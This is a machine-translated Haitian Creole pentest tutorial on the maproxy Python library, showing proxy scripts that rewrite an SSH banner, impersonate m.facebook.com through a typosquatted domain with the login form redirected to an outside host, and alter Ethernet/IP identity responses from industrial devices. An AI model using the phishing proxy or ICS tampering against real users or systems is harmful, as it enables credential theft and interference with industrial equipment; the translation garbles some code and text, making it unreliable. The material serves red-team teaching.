Pwosesis done rezo sou vole

Tradiksyon atik la te prepare lavèy kòmansman kou a "Pentest. Pratik tès pénétration".

Pwosesis done rezo sou vole

Anotasyon

Yon varyete de kalite evalyasyon sekirite, sòti nan tès pénétration regilye ak operasyon Ekip Wouj pou pirate aparèy IoT/ICS ak SCADA, enplike travay ak pwotokòl rezo binè, se sa ki, esansyèlman entèsepte ak modifye done rezo ant kliyan an ak sib la. Sniffing trafik rezo a se pa yon tach difisil paske nou gen zouti tankou Wireshark, Tcpdump oswa Scapy, men modifikasyon sanble ap yon travay ki pi entansif depi nou pral bezwen gen kèk kalite koòdone pou li done rezo a, filtre li, chanje. li sou vole a epi voye li tounen bay lame a sib nan tan prèske reyèl. Anplis de sa, li ta ideyal si yon zouti konsa ta ka otomatikman travay ak plizyè koneksyon paralèl epi yo dwe customizable lè l sèvi avèk scripts.

Yon jou mwen dekouvri yon zouti ki rele maproxy, dokiman an byen vit te fè li klè pou mwen sa maproxy - jis sa mwen bezwen. Sa a se yon proxy TCP ki senp, versatile ak fasil configurable. Mwen te teste zouti sa a sou plizyè aplikasyon konplike san patipri, tankou aparèy ICS (ki jenere anpil pake) pou wè si li te kapab okipe anpil koneksyon paralèl, epi zouti a te byen fè.

Atik sa a pral prezante w nan pwosesis done rezo sou vole a lè l sèvi avèk maproxy.

Revize

Zouti maproxy baze sou Tornado, yon fondasyon rezo asynchrone popilè ak matirite nan Python.

An jeneral, li ka opere nan plizyè mòd:

  • TCP:TCP - koneksyon TCP ki pa chiffres;
  • TCP:SSL и SSL:TCP - ak chifreman yon sèl-fason;
  • SSL:SSL - de-fason chifreman.

Li vini kòm yon bibliyotèk. Pou yon demaraj rapid, ou ka itilize dosye egzanp ki reflete prensipal la fonksyon bibliyotèk yo:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Ka 1 - senp prokurasyon bidireksyon

Baze sou tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Pa default ProxyServer() pran de agiman - kote koneksyon an ak pò sib la. server.listen() pran yon sèl agiman - pò a pou koute koneksyon an fèk ap rantre.

Egzekite script la:

# python tcp2tcp.py

Pou fè tès la, nou pral konekte ak yon sèvè SSH lokal atravè script proxy nou an, ki koute 2222/tcp pò ak konekte nan yon pò estanda 22/tcp Sèvè SSH:

Pwosesis done rezo sou vole

Banyè akeyi a fè w konnen ke egzanp script nou an te byen proxy trafik rezo a.

Ka 2 - modifikasyon done

Yon lòt script Demo logging_proxy.py ideyal pou kominike avèk done rezo a. Kòmantè ki nan dosye a dekri metòd klas ou ka modifye pou reyalize objektif ou:

Pwosesis done rezo sou vole

Bagay ki pi enteresan an se isit la:

  • on_c2p_done_read – entèsepte done sou wout la soti nan kliyan an nan sèvè a;
  • on_p2s_done_read - ranvèse.

Ann eseye chanje banyè SSH ke sèvè a retounen nan kliyan an:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Egzekite script la:

Pwosesis done rezo sou vole

Kòm ou ka wè, kliyan an te twonpe paske yo te chanje non sèvè SSH la pou li «DumnySSH».

Pwosesis done rezo sou vole

Ka 3 - senp paj entènèt èskrokri

Gen fason kontinuèl yo sèvi ak zouti sa a. Fwa sa a, ann konsantre sou yon bagay ki pi pratik nan bò operasyon Ekip Wouj la. Ann imite landing page la m.facebook.com epi sèvi ak yon domèn koutim ak yon typo ekspre, pou egzanp, m.facebok.com. Pou rezon demonstrasyon, an n jis sipoze ke domèn nan anrejistre pa nou.

Nou pral etabli yon koneksyon rezo ki pa chiffres ak proxy viktim nou yo ak SSL Stream sou sèvè Facebook la (31.13.81.36). Pou fè egzanp sa a travay, nou bezwen ranplase header lame HTTP ak enjekte non host ki kòrèk la, epi nou pral tou enfim konpresyon repons pou nou ka fasilman jwenn aksè nan kontni an. Finalman, nou pral ranplase fòm HTML la pou yo voye kalifikasyon yo konekte nan plas serveurs Facebook yo:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ht/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

An rezime:

Pwosesis done rezo sou vole

Kòm ou ka wè, nou te avèk siksè kapab ranplase sit orijinal la.

Ka 4 - Port Ethernet/IP

Mwen te fè fas ak aparèy endistriyèl ak lojisyèl (ICS/SCADA) pou kèk tan, tankou contrôleur programmable (PLC), modil I/O, kondui, rle, anviwònman pwogramasyon nechèl ak anpil plis. Ka sa a se pou moun ki renmen bagay endistriyèl. Hacking solisyon sa yo enplike aktivman jwe ak pwotokòl rezo yo. Nan egzanp sa a, mwen ta renmen montre kijan ou ka modifye trafik rezo ICS/SCADA.

Pou sa w ap bezwen bagay sa yo:

  • Rezo sniffer, pou egzanp, Wireshark;
  • Ethernet / IP oswa jis yon aparèy SIP, ou ka jwenn li lè l sèvi avèk sèvis la Shodan;
  • Se script nou an ki baze sou maproxy.

Premyèman, ann gade kisa yon repons idantifikasyon tipik nan CIP (Common Industrial Protocol) sanble:

Pwosesis done rezo sou vole

Se idantifikasyon aparèy akonpli lè l sèvi avèk pwotokòl Ethernet/IP, ki se yon vèsyon amelyore nan pwotokòl Ethernet endistriyèl la ki vlope pwotokòl kontwòl tankou CIP. Nou pral chanje non ID make ki vizib nan ekran an "NI-IndComm pou Ethernet" lè l sèvi avèk script proxy nou an. Nou ta ka reitilize script la logging_proxy.py ak menm jan an tou modifye metòd klas la on_p2s_done_read, paske nou vle yon non idantite diferan yo dwe vizib sou kliyan an.

Kòd:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Esansyèlman, nou te mande pou idantifikasyon aparèy de fwa, dezyèm repons lan te orijinal la, epi premye a te modifye sou vole.

E anfen

Nan opinyon mwen maproxy Yon zouti pratik ak senp, ki ekri tou nan Python, kidonk mwen kwè ke ou menm tou ka benefisye lè w sèvi ak li. Natirèlman, gen zouti ki pi konplèks pou trete ak modifye done rezo a, men yo tou mande pou plis atansyon epi yo anjeneral kreye pou yon ka itilizasyon espesifik, pa egzanp. muraena, Modlishka oswa evilginx pou ka ki sanble ak twazyèm lan, oswa sofa pou dènye ka a. Yon fason oswa yon lòt, avèk èd la maproxy ou ka byen vit aplike lide ou pou entèsepte done rezo a, depi egzanp scripts yo trè klè.

Tès mekanis otantifikasyon nan Windows AD

Sous: www.habr.com

Add nouvo kòmantè